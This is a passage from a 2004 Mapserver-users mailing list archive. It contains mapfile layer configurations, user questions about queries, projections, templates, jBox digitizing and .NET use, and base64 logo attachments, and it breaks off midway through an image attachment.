'bahnlinie overlay'=0A= OVERLAYSIZE 3=0A= OVERLAYCOLOR 0 220 0=0A= END=0A= END=0A= LAYER=0A= NAME netz #Netz =F6ffentlicher Verkehr#Legende #=0A= STATUS ON=0A= CONNECTIONTYPE POSTGIS=0A= CONNECTION "dbname=3Dfoo host=3Dbar user=3Dfoobar "=0A= DATA "wkb_geometry from avt_oev_netz using SRID=3D-1"=0A= TYPE LINE=0A= MINSCALE 50001=0A= CLASSITEM "TYP"=0A= CLASS=0A= NAME "Bus"=0A= EXPRESSION "1"=0A= SIZE 1=0A= SYMBOL 7=0A= COLOR 0 0 255=0A= END=0A= CLASS=0A= NAME "Bahn"=0A= EXPRESSION "2"=0A= SYMBOL 'Gebaeude/ Mauern'=0A= SYMBOL 250000=0A= SIZE 4=0A= COLOR 0 0 0=0A= OVERLAYSYMBOL 'bahnlinie overlay'=0A= OVERLAYSIZE 3=0A= OVERLAYCOLOR 0 220 0=0A= END=0A= END=0A= =0A= LAYER=0A= NAME klassierung #Strassenklassierung#Legende #=0A= STATUS ON=0A= CONNECTIONTYPE POSTGIS=0A= CONNECTION "dbname=3Dcmoe host=3Dsrsofaioi4531 user=3Dpublic = port=3D6543"=0A= DATA "wkb_geometry from avt_strassenklassierung using SRID=3D-1"=0A= TYPE LINE=0A= CLASSITEM "COLOR"=0A= #MAXSCALE 50001=0A= CLASS=0A= NAME "Achtung: Der genaue Strassenverlauf dieses Layers deckt = sich nicht mit STRADA!"=0A= EXPRESSION "foo"=0A= SIZE 3=0A= SYMBOL 7=0A= COLOR 255 255 255=0A= END=0A= CLASS=0A= NAME "Kategorie A
regionale Bedeutung, Belastung gering"=0A= EXPRESSION "4"=0A= SIZE 3=0A= SYMBOL 7=0A= COLOR 0 255 255=0A= END=0A= CLASS=0A= NAME "Kategorie B
regionale Bedeutung, Belastung hoch"=0A= EXPRESSION "5"=0A= SIZE 3=0A= SYMBOL 7=0A= COLOR 100 0 255=0A= END=0A= CLASS=0A= NAME "Kategorie C
kantonale Bedeutung, Belastung gering"=0A= EXPRESSION "40"=0A= SIZE 3=0A= SYMBOL 7=0A= COLOR 255 140 0=0A= END=0A= CLASS=0A= NAME "Kategorie D
kantonale Bedeutung, Belastung hoch"=0A= EXPRESSION "1"=0A= SIZE 3=0A= SYMBOL 7=0A= COLOR 255 50 0=0A= END=0A= CLASS=0A= NAME "Passstrassen"=0A= EXPRESSION "6"=0A= SIZE 3=0A= SYMBOL 'bahnlinie overlay'=0A= #SYMBOL 7=0A= COLOR 255 0 255=0A= END=0A= END=0A= =0A= LAYER=0A= NAME messstellen #Z=E4hlstellen#=0A= MAXSCALE 100005=0A= MINSCALE 100=0A= STATUS ON=0A= TOLERANCE 20=0A= DATA "avt/veza/messstellen"=0A= TYPE POINT=0A= LABELMAXSCALE 6000000=0A= #CLASSITEM "Nr_string"=0A= LABELITEM "Nr_string"=0A= CLASS=0A= TEMPLATE = "/opt/wwwroot/sogis/MapServer/projekte/avt/strada/qry_tpl.html"=0A= STYLE=0A= SYMBOL "Zaehlstelle"=0A= COLOR 0 0 0=0A= SIZE 22=0A= END=0A= LABEL=0A= TYPE TRUETYPE=0A= ANTIALIAS TRUE=0A= FORCE TRUE=0A= FONT arial =0A= COLOR 0 0 0 =0A= SIZE 11=0A= POSITION CC=0A= END =0A= END =0A= END =0A= =0A= LAYER=0A= NAME liegen #Parzellen#=0A= MINSCALE 1=0A= MAXSCALE 55000=0A= STATUS OFF=0A= TYPE POLYGON=0A= CONNECTIONTYPE POSTGIS=0A= CONNECTION 'dbname=3Dfoo host=3Dbar user=3Dfoobar '=0A= DATA "wkb_geometry from (select oid,wkb_geometry from kva_av_liegen = where archive=3D0) as foo using SRID=3D-1"=0A= CLASS=0A= NAME "Liegenschaften"=0A= OUTLINECOLOR 40 40 40=0A= END=0A= END=0A= =0A= END=0A= ------_=_NextPart_000_01C4128B.F2CCF910-- From imd_listuser at comcast.net Thu Mar 25 09:11:49 2004 From: imd_listuser at comcast.net (IMD Listuser) Date: Thu, 25 Mar 2004 12:11:49 -0500 Subject: [Mapserver-users] Indexquery and projections Message-ID: <90264B8395BF154DB2CB12B068DFFAE903AF9A@westward.im-design.net> Greetings list I have a raster image that is projected to a mercator projection. At the moment I am able to display a shape file of points in geographic projection on top of the mercator image as long as the user is in browse mode. When in 'indexquerymode' against the shape file of points, the resulting map is centered on the map origin (0 latitude, 0 longitude) rather than on the shape file. Does mapserver support projection in indexquery mode? Am I missing something? TIA Charlie Van Dusen IM Design charlie at im-design.net +1 781.389.0343 From wim.blanken at planet.nl Thu Mar 25 09:24:33 2004 From: wim.blanken at planet.nl (Wim Blanken PI) Date: Thu, 25 Mar 2004 18:24:33 +0100 Subject: [Mapserver-users] Re: jBox -> Select Polygon Region? References: <74078475-7E6A-11D8-B555-000393BFAE8A@rukavina.net> <40630D6A.1060303@greenwoodmap.com> Message-ID: <003901c4128e$1aab5ab0$6400a8c0@blanken> Hi There too, Richard is right, I've made some small modifications to the jbox code to let me digitize polygons, lines and points in my mapserver application. It works with jbox, mapserver-cgi and some additional mapscript code. I will be happy to share this, but at the moment it is heavily relient on my application structure. It's also quite straightforward but anyway expect somewhere this weekend a post from me with the code I am using....... Regards, Wim Blanken Geon bv The Netherlands ----- Original Message ----- From: "Richard Greenwood" To: "Peter Rukavina" ; Sent: Thursday, March 25, 2004 5:48 PM Subject: Re: jBox -> Select Polygon Region? > Peter Rukavina wrote: > > > Hi there. > > > > I'm a MapServer user here in Canada. I've been struggling with > > implementing ROSA, and am looking at jBox as an alternative. One of the > > features I require, however, is the ability to digitize a polygon > > "region of interest," and this appears to be the one feature that ROSA > > has that jBox doesn't. > > > > Given that the distance measurement code appears to do most if not all > > of what's required, I'm writing to see if you have ever considered > > extending this distance measurement code to the ability to do what we > > require. > > > > Even just a modification that would allow a JavaScript function to be > > fired, similar to measure_handler, that would return the vertices of the > > points selected would do the trick. > > > > Cheers, > > Peter Rukavina > > Elections Prince Edward Island > > I think that this has already been done by Wim Blanken > wim.blanken at planet.nl > I am copying him this email. > > I do not know if he would be willing to share his code, but you should > ask him. In the interest in keeping jBox samll, Steve Lime suggested > that this functionality not be included in jBox, but there is no reason > that we could not to have another version that did include it. > > Regards, > -- > Richard Greenwood > www.greenwoodmap.com From tbartlett at dddd.com.au Thu Mar 25 16:31:34 2004 From: tbartlett at dddd.com.au (Thomas Bartlett) Date: Fri, 26 Mar 2004 11:31:34 +1100 Subject: [Mapserver-users] QueryMap Symbology Message-ID: <000001c412c9$b1f3ae00$1701a8c0@dddd.com.au> Hi All, I have a poylgon layer which I want to query... Producing an QUERYMAP. The layer looks like: LAYER NAME TYPE STATUS OFF DATA Cad/QLD/Test MAXSCALE MINSCALE CLASS TEMPLATE "templates/QLD_CAD.html" COLOR -1 -1 -1 OUTLINECOLOR 128 128 128 END END So it is transparent with a grey outline !! However when I produce a QUERYMAP QUERYMAP SIZE 200 200 STATUS ON STYLE HILITE COLOR 255 0 0 END The resulting QUERYMAP works (with the queried polygon outlined in red) but it is very hard / impossible to see it !! Is there any way to either increase the linewidth or the fill of ONLY the queried polyon ?? I'm using MapServer 4.0.1 - WIN32 Binary - with a simple html + javascript interface !! Many Thanks Tom Bartlett From rich at greenwoodmap.com Thu Mar 25 11:17:27 2004 From: rich at greenwoodmap.com (Richard Greenwood) Date: Thu, 25 Mar 2004 19:17:27 +0000 Subject: [Mapserver-users] Re: mouse coordinates In-Reply-To: References: Message-ID: <40633047.8040305@greenwoodmap.com> steve mccrone wrote: > Hi Richard, > > Sorry to bother you again. But I am trying to implement a bearing > calculation with the measure tool in jBox. > In order to do this I need the "anchor" mouse coordinate and the current > mouse coordinate. The current is no problem, > can get it from the mosuemove handler, but how do I get the initial click > coordinate in order to calculate the bearing of the line? > > I only see the setbox_handler function, which does not appear to be called > when the line is on. You might look at the vertex count (n) which is submitted to measure_handler(). Each time the the mouse has moved more than tolerance(pixels) the measure_handler() function gets called, and mosuemove_handler() gets called if verbose=true. And each time the user clicks in line mode, n gets incremented. So code in measure_handler() something like: if (n > old_n) { anchor.x = mouse.x; anchor.y = mouse.y; old_n = n; } where mouse.x and mouse.y are being updated by mousemove_handler(). -- Richard Greenwood www.greenwoodmap.com From cz_toh at yahoo.com Thu Mar 25 22:48:42 2004 From: cz_toh at yahoo.com (=?iso-8859-1?q?TOH=20CZ?=) Date: Fri, 26 Mar 2004 06:48:42 +0000 (GMT) Subject: [Mapserver-users] Map cannot be displayed again... Message-ID: <20040326064842.44027.qmail@web14005.mail.yahoo.com> Hi, I recently lost my data due to a harddisk crash and I am not trying to redo my own map but now it cannot be shown on my browser Below are the map and wld files tpgenmap.map # # Start of map file # NAME TPGENMAP STATUS ON SIZE 758 450 EXTENT 0 0 758 450 UNITS METERS SHAPEPATH "." IMAGECOLOR 255 255 255 # # Start of layer definitions # LAYER NAME tpgenmap DATA "C:\Program Files\Apache Group\Apache2\htdocs\tutorial\tpgenmap.tif" TYPE RASTER STATUS DEFAULT END END tpgenmap.wld 1 0 -0 -1 0 450 Right now it shows a blank image(I tried TIF and GIF) ___________________________________________________________ Yahoo! Messenger - Communicate instantly..."Ping" your friends today! Download Messenger Now http://uk.messenger.yahoo.com/download/index.html From svincent at idems.fr Fri Mar 26 02:12:08 2004 From: svincent at idems.fr (Sebastien Vincent) Date: Fri, 26 Mar 2004 11:12:08 +0100 Subject: [Mapserver-users] Automatic Thematic :) Message-ID: <406401F8.1090102@idems.fr> Hello, I'm running mapserv 4.0 without any problems, seven layers, and manys rasters, about 280MB of data, everything works :) Now I want to make some thematics, the problem is the following : I works with shapefiles, an so DBF. I want to make an automatic thematic using two colums. The stucture is something like that : Ident:Child:Parent Theres is about hundreds of parents, and one parent can have "n" child. One child can only have one parent. I want to make same background colors for each childs who have the same parents and different colors for each parent. So "hundreds" of different colors. I don't know how to make it possible (if it is). Thanks for you suggestions :) Best regards, seb :) From xavier.mauclaire at strategis.fr Fri Mar 26 00:10:04 2004 From: xavier.mauclaire at strategis.fr (Xavier Mauclaire) Date: Fri, 26 Mar 2004 09:10:04 +0100 Subject: [Mapserver-users] PB with mapinfo table query Message-ID: This is a multi-part message in MIME format. ------=_NextPart_000_0018_01C41312.2055F5E0 Content-Type: multipart/alternative; boundary="----=_NextPart_001_0019_01C41312.2055F5E0" ------=_NextPart_001_0019_01C41312.2055F5E0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 8bit hi i'v done a query using MapInfo attributes field. When the query is computed, some fields are not replaced with their values. the structure of my mapinfo tab file is : !table !version 300 !charset WindowsLatin1 Definition Table Type NATIVE Charset "WindowsLatin1" Fields 10 ID Integer Index 1 ; TYPE Char (3) ; ORIENTATIO Decimal (16, 3) ; NODE_ Decimal (11, 0) ; SYMBOL Decimal (5, 0) ; NETSTAT Decimal (3, 0) ; IDENT Decimal (6, 0) ; OBSERV Char (128) ; BITNUM Decimal (5, 0) ; BITCAN Char (254) ; my template file is Interrogation PPR
ORGANE :
ID : [id]
TYPE : [TYPE]
NODE : [NODE_]
Orientation : [ORIENTATIO]
Observations : [OBSERV]
bitnum : [BITNUM]
bitcan : [BITCAN]
In this sample : [ID] value is replace with a very big number but not the good value [NODE_], [ORIENTATIO]and [BITCAN] are not replaced. the result is ORGANE : ID : 10802878981808 TYPE : 1 NODE : [NODE_] Orientation : [ORIENTATIO] Observations : SIGVD bitnum : 370 bitcan : [BITCAN] regards Xavier MAUCLAIRE Conseils et d?veloppements en SIG STRATEGIS S.A. Parc 2000 19, rue Joe Dassin 34184 Montpellier Cedex 4 T?l. +33 (0) 4.67.40.75.40 Fax +33 (0) 4.67.40.75.41 www.strategis.fr ------=_NextPart_001_0019_01C41312.2055F5E0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
hi
i'v done a query = using MapInfo=20 attributes field. When the query is computed, some fields are not = replaced with=20 their values.
 
the structure of my = mapinfo tab=20 file is  :
 
 
!table
!version=20 300
!charset WindowsLatin1
 
Definition = Table
  Type=20 NATIVE Charset "WindowsLatin1"
  Fields 10
    = ID=20 Integer Index 1 ;
    TYPE Char (3) = ;
   =20 ORIENTATIO Decimal (16, 3) ;
    NODE_ Decimal (11, 0) = ;
    SYMBOL Decimal (5, 0) ;
    = NETSTAT=20 Decimal (3, 0) ;
    IDENT Decimal (6, 0)=20 ;
    OBSERV Char (128) ;
    BITNUM = Decimal=20 (5, 0) ;
    BITCAN Char (254) = ;
 
 
my template file is =
 
 
<!DOCTYPE HTML = PUBLIC=20 "-//W3C//DTD HTML 4.0 Transitional//EN">
 
<html>
<head>
 <title>Interrogation= =20 PPR</title>
 <link rel=3D"stylesheet" type=3D"text/css" = href=3D"[web_cheminsite]style.css">
</head>
 

<body=20 onBlur=3D"window.focus()">
<table>
<tr><td><= ;b>=20 ORGANE : </b> = </td></tr>
<tr><td><b> ID :=20 </b> [id] </td></tr>
<tr><td><b> = TYPE :=20 </b> [TYPE] = </td></tr>
<tr><td><b> NODE :=20 </b> [NODE_] = </td></tr>
<tr><td><b>=20 Orientation : </b> [ORIENTATIO]=20 </td></tr>
<tr><td><b> Observations :=20 </b> [OBSERV] = </td></tr>
<tr><td><b>=20 bitnum : </b> [BITNUM]=20 </td></tr>
<tr><td><b> bitcan : = </b>=20 [BITCAN] </td></tr>
 
</table>
</body>
 
</html>
 
 
In this = sample :=20
[ID] value is = replace with a=20 very big number but not the good value
[NODE_], [ORIENTATIO]and [BITCAN] are not=20 replaced.
 
the result=20 is
 
ORGANE :
ID : 10802878981808
TYPE : 1
NODE : [NODE_]
Orientation : [ORIENTATIO]
Observations : SIGVD
bitnum : 370
bitcan : [BITCAN] =
 
 
regards

Xavier=20 MAUCLAIRE

Conseils et d=E9veloppements en SIG =
STRATEGIS S.A.
Parc 2000
19, rue Joe = Dassin
34184=20 Montpellier Cedex 4
T=E9l. +33 (0) 4.67.40.75.40
Fax +33 = (0)=20 4.67.40.75.41

www.strategis.fr=20
 
------=_NextPart_001_0019_01C41312.2055F5E0-- ------=_NextPart_000_0018_01C41312.2055F5E0 Content-Type: image/jpeg; name="logostrat.jpg" Content-Transfer-Encoding: base64 Content-ID: <130034407 at 26032004-2103> /9j/4AAQSkZJRgABAQEASABIAAD/2wBDAAMCAgMCAgMDAwMEAwMEBQgFBQQEBQoHBwYIDAoMDAsK CwsNDhIQDQ4RDgsLEBYQERMUFRUVDA8XGBYUGBIUFRT/2wBDAQMEBAUEBQkFBQkUDQsNFBQUFBQU FBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBT/wAARCABFAE8DASIA AhEBAxEB/8QAHwAAAQUBAQEBAQEAAAAAAAAAAAECAwQFBgcICQoL/8QAtRAAAgEDAwIEAwUFBAQA AAF9AQIDAAQRBRIhMUEGE1FhByJxFDKBkaEII0KxwRVS0fAkM2JyggkKFhcYGRolJicoKSo0NTY3 ODk6Q0RFRkdISUpTVFVWV1hZWmNkZWZnaGlqc3R1dnd4eXqDhIWGh4iJipKTlJWWl5iZmqKjpKWm p6ipqrKztLW2t7i5usLDxMXGx8jJytLT1NXW19jZ2uHi4+Tl5ufo6erx8vP09fb3+Pn6/8QAHwEA AwEBAQEBAQEBAQAAAAAAAAECAwQFBgcICQoL/8QAtREAAgECBAQDBAcFBAQAAQJ3AAECAxEEBSEx BhJBUQdhcRMiMoEIFEKRobHBCSMzUvAVYnLRChYkNOEl8RcYGRomJygpKjU2Nzg5OkNERUZHSElK U1RVVldYWVpjZGVmZ2hpanN0dXZ3eHl6goOEhYaHiImKkpOUlZaXmJmaoqOkpaanqKmqsrO0tba3 uLm6wsPExcbHyMnK0tPU1dbX2Nna4uPk5ebn6Onq8vP09fb3+Pn6/9oADAMBAAIRAxEAPwD7w+Kn /I1H/rgn9a8C/aQ/5I/rX+9B/wCjkrf/AGpv2g4/hl8Uf7HfQm1Emwhn85bvy/vFxjGw+nrXzv8A Ev8AaSi+IPg290JfD72JuTGfPN4JNu1w33dgz0x1rny3hjN55tQzCND917SMr80fhUk72vfbyufn +c5xgY08RhXU9+0laz3t6WPEKqanqtnotlJd39zFaW0Y+aWZgqj257+3eud+IHxFsPAdknmq13qU /FtYxH55D0yfRc9/yzSaL8FZbu9i1/4xNLe6mvz2vgS2kaBLYHkfbZFO6LsDCh808h3iIAb98xmZ +yqfVsND2lV9Oi85Pofm2Byn21L63i5+zorq95eUV1/rezKGh+Pdf+Jmqz6V8NfB2peLbmAAz3uw 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 TqKKACiiigAooooAKKKKAP/Z ------=_NextPart_000_0018_01C41312.2055F5E0-- From xavier.mauclaire at strategis.fr Fri Mar 26 00:10:04 2004 From: xavier.mauclaire at strategis.fr (Xavier Mauclaire) Date: Fri, 26 Mar 2004 09:10:04 +0100 Subject: [Mapserver-users] Mapserver and .NEt and library Message-ID: This is a multi-part message in MIME format. ------=_NextPart_000_001D_01C41312.20747A60 Content-Type: multipart/alternative; boundary="----=_NextPart_001_001E_01C41312.20747A60" ------=_NextPart_001_001E_01C41312.20747A60 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 8bit Hi 1) i'd like to develop .net webservices and other applications with mapserver. where can i get informations about this ? 2) In the same way are there any possibilities to convert the Mapserver CGI program to a "simple" mapserver library without the "cgi nutshell" to use with dll isapi ot .net programs etc ... regards Xavier MAUCLAIRE Conseils et d?veloppements en SIG STRATEGIS S.A. Parc 2000 19, rue Joe Dassin 34184 Montpellier Cedex 4 T?l. +33 (0) 4.67.40.75.40 Fax +33 (0) 4.67.40.75.41 www.strategis.fr ------=_NextPart_001_001E_01C41312.20747A60 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Hi
1) i'd like to = develop .net=20 webservices and other applications with mapserver. where can i get=20 informations about this ?
 
2) In the same way = are there=20 any possibilities to convert the Mapserver CGI program to a "simple" = mapserver=20 library without the "cgi nutshell" to use with dll isapi ot .net = programs=20 etc ...
 
 
regards
 
 
 
 

Xavier=20 MAUCLAIRE

Conseils et d=E9veloppements en SIG =
STRATEGIS S.A.
Parc 2000
19, rue Joe = Dassin
34184=20 Montpellier Cedex 4
T=E9l. +33 (0) 4.67.40.75.40
Fax +33 = (0)=20 4.67.40.75.41

www.strategis.fr=20
 
------=_NextPart_001_001E_01C41312.20747A60-- ------=_NextPart_000_001D_01C41312.20747A60 Content-Type: image/jpeg; name="logostrat.jpg" Content-Transfer-Encoding: base64 Content-ID: <498480508 at 26032004-210a> /9j/4AAQSkZJRgABAQEASABIAAD/2wBDAAMCAgMCAgMDAwMEAwMEBQgFBQQEBQoHBwYIDAoMDAsK CwsNDhIQDQ4RDgsLEBYQERMUFRUVDA8XGBYUGBIUFRT/2wBDAQMEBAUEBQkFBQkUDQsNFBQUFBQU FBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBT/wAARCABFAE8DASIA AhEBAxEB/8QAHwAAAQUBAQEBAQEAAAAAAAAAAAECAwQFBgcICQoL/8QAtRAAAgEDAwIEAwUFBAQA AAF9AQIDAAQRBRIhMUEGE1FhByJxFDKBkaEII0KxwRVS0fAkM2JyggkKFhcYGRolJicoKSo0NTY3 ODk6Q0RFRkdISUpTVFVWV1hZWmNkZWZnaGlqc3R1dnd4eXqDhIWGh4iJipKTlJWWl5iZmqKjpKWm p6ipqrKztLW2t7i5usLDxMXGx8jJytLT1NXW19jZ2uHi4+Tl5ufo6erx8vP09fb3+Pn6/8QAHwEA AwEBAQEBAQEBAQAAAAAAAAECAwQFBgcICQoL/8QAtREAAgECBAQDBAcFBAQAAQJ3AAECAxEEBSEx BhJBUQdhcRMiMoEIFEKRobHBCSMzUvAVYnLRChYkNOEl8RcYGRomJygpKjU2Nzg5OkNERUZHSElK U1RVVldYWVpjZGVmZ2hpanN0dXZ3eHl6goOEhYaHiImKkpOUlZaXmJmaoqOkpaanqKmqsrO0tba3 uLm6wsPExcbHyMnK0tPU1dbX2Nna4uPk5ebn6Onq8vP09fb3+Pn6/9oADAMBAAIRAxEAPwD7w+Kn /I1H/rgn9a8C/aQ/5I/rX+9B/wCjkrf/AGpv2g4/hl8Uf7HfQm1Emwhn85bvy/vFxjGw+nrXzv8A Ev8AaSi+IPg290JfD72JuTGfPN4JNu1w33dgz0x1rny3hjN55tQzCND917SMr80fhUk72vfbyufn +c5xgY08RhXU9+0laz3t6WPEKqanqtnotlJd39zFaW0Y+aWZgqj257+3eud+IHxFsPAdknmq13qU /FtYxH55D0yfRc9/yzSaL8FZbu9i1/4xNLe6mvz2vgS2kaBLYHkfbZFO6LsDCh808h3iIAb98xmZ +yqfVsND2lV9Oi85Pofm2Byn21L63i5+zorq95eUV1/rezKGh+Pdf+Jmqz6V8NfB2peLbmAAz3uw xWlqpOBJK5wscf8AtytGB612Nr8PPiHFFG2seNPhdoV2y5fT5J9Rv2T6y2UNxCT/ALshroNR8S3u oaXaaSnk6foVmSbTRtOhW2srYnqUhQBdx7uQXbqzMeay6xp4HHVXz4rEtPtBJJfNpt/M3qZjl1Be zweETXeo22/kmkvkfdP/AATltrzQ7Hxvpupy6dczu9ncQX2kXDTWl3GVlBZC6JIjBlYNHIiuvBwQ wJ+z6+AP2ANXYXviW0jb5re6spCB/wBNBKp/RK+/6/K85Uo5hVjKXM09/ku2lz9kyGUZZbRlCHKm ttdNXtfW3YKKKK8U94/Nr9v/AP5L2v8A2CLb/wBCkr5J8eeNLXwL4en1K4xJJ9yCDPMsh6D6dyfQ V9bft/8A/Je1/wCwRbf+hSV8U+Df+K3+KmoeJbpTLpPhOQW+lxH7kl+ScSn1CbS/HdYgeCc/sVDF VKGV4enQ1qTSjH9W/JLU/DMRhKeJzjE1MQ7Uqbcpel9EvNvQ6X4aeCLj4fznxX4hAuviXfDzVaUZ GhRkcIikYFzjHPWEYAxJuKbxOTk8k0ru0js7sXdjlmY5JPqaSvdwOBp4GnyQ1k9W3u33Z85mOYVc xq889IrSMVtFdkFV9Qv4NLsZ7y6lENtAhkkkboqgZJqWWVIInkkdY40BZnc4CgdST2FeAePvGt98 XvE9j4K8KDzre5uFi80ttWd8/eJP3YlALEnjALHgVjmeZU8to88tZP4V3f8Al3N8oyqrmtdU46QW spdEv8+3+R+hn/BIO8uPHlx8V/Ec8TpaHU7MQlxx8sUoVM9MqCpP1HrX6XV8Wf8ABMbQ9P8ACfgP xToGkkPp+nTWsazhNhuZCshknYHnLtzg8hQi/wAIr7Tr8Vx1OtSxE41/j3fq1f8AU/fsvq0a2FhL DfBsvRO36BRVS41W2t5BEZA85O0RJyxOM49vxxSqbqYgkJbr/dPzsR/IH864D0T85P2/v+S+J2/4 lNt/6FJXyD8LtLbRfBUFq/EzXd1PcDGP3pmZCfrtjQc+lfX37f8A/wAl7X/sEW3/AKFJXzVrfhPx B4kMuqeB9V0GHWJE3X3h7xFcrZQ3EuQDcWty7pErOPmkjlkT59zJu8wqn7DhJKhg8LipRclGLWiu 1e2tu2jXzPw3GxeJx2MwcJqMpzT1dk+W+l++qav27jqxPFPjHSPB1ibrVbxLdSCUizmSUjsi9T29 hnkisTUfh5+0VqIa2TwtpGipk/8AEyOqWMVuw/2bia5MJB7EH6GqWlfsvaPot1Jq/wAVPGy6/drG Hk0nw1d+cQQOVuNQkUxIF4/1AnDAEb04alVz6db93l9GUpd2rRXr/wAG3qOjw3TofvczrxhHsneT 9P8AgX9Dxv4i/FXWviBb3ItLeey8OwOqyLGpIYtnZ5zjjJ2khenHfGa9i+CHgGL4Y+DH8R6xts9d 1m23KbhlQWOnsAQST915hgnpiLaORKwBoi3/AO0B48tdJ8LeH7S3+HHg+aO4XQtOsZP7PLMdrXE7 tIkbZ2jdLd3URdF2+bkgV7BN4V8O6bfXF74m1eXxTrrSCURaPMrRwyfIT/pskSpHtdGI+x2ySANh b1xzXyOCeIxGPliJxdecdrfDf12SXTvufbY9YbC5bHDU5rD05b3+K3klq2+re2x9b/8ABOXxKsPh 